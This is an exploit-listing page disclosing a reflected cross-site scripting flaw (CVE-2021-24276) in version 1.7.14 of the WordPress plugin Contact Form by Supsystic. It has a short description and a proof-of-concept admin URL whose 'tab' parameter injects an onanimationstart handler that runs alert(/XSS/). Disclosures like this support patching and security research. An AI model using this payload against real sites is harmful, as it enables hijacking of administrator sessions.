Wordpress plugin contact form 1.7.14 reflected crosssite scripting (xss) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-09-28 | Type : webapps | Platform : php
This exploit / vulnerability Wordpress plugin contact form 1.7.14 reflected crosssite scripting (xss) is for educational purposes only and if it is used you will do on your own risk!


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# Exploit Title: WordPress Plugin Contact Form 1.7.14 - Reflected Cross-Site Scripting (XSS)
# Date: 3/28/2021
# Author: 0xB9
# Software Link: https://wordpress.org/plugins/contact-form-by-supsystic/
# Version: 1.7.14
# Tested on: Windows 10
# CVE: CVE-2021-24276

1. Description:
The Contact Form by Supsystic WordPress plugin before 1.7.15 did not sanitise the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue

2. Proof of Concept:
/wp-admin/admin.php?page=contact-form-supsystic&tab="+style=animation-name:rotation+onanimationstart=alert(/XSS/)//